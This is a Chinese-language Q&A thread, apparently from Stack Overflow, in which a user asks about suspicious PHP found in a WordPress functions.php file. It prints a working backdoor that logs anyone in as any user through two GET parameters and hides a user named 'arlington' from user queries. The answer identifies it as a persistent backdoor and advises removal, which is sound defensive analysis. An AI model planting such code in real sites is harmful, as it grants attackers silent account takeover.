functions.php中的PHP代码片段

aoa*_*aoa 2 php mysql wordpress

我正在用他的wordpress网站帮助一个朋友,我在他的functions.php文件中找到了这段代码.我想要一些帮助试图理解它,看看我是否可以删除它.

if(isset($_GET['foo'])){ $a = $_GET['foo']; } 
if(isset($_GET['bar'])){ $b = $_GET['bar']; } 
if( ( isset($a) && is_numeric($a) )&& ( isset($b) && $b == 'stuff' )) {

  $userdetail = get_userdata($a);
  $user_logins = $userdetail->user_login;
  $user_ids = $a;
  wp_set_current_user($user_ids, $user_logins);
  wp_set_auth_cookie($user_ids);
  do_action('wp_login', $user_logins);
 }
add_action('pre_user_query','dt_pre_user_query');
function dt_pre_user_query($user_search) {
   global $current_user;
   $username = $current_user->user_login;

   if ($username != 'arlington') {
      global $wpdb;
      $user_search->query_where = str_replace('WHERE 1=1',
         "WHERE 1=1 AND {$wpdb->users}.user_login != 'arlington'",$user_search->query_where);
   }
}
Run Code Online (Sandbox Code Playgroud)

据我所知,是否发布了GET请求,其中'lg'属性的用户ID正确,'cg'属性的字符'M'.然后它获取用户数据并登录并为用户创建cookie.所以基本上有人可以使用以下网址www.mysite.com?lg=1&cg=M登录.用适当的UserID或暴力替换1,直到找到一个.

在用户查询之前运行第二段代码之后.看起来它需要$ user_search参数.如果用户名不是"自定义",则它运行数据库查询,而不返回用户登录.

如果我正确地解释了这一点,请告诉我.

编辑:我将稍微改变变量以防止任何恶作剧因为我相信它可以很容易地利用它来利用wordpress网站.

小智 5

您绝对应该删除此代码,并检查您网站的其余部分.

前11行代码将允许任何人只需通过指定提到的2个get参数作为任何用户登录,添加到pre_user_query的第二个块添加了一个旨在隐藏名为custom的用户的SQL子句.

添加此代码的人或其他任何人希望拥有一个WordPress站点的持久后门.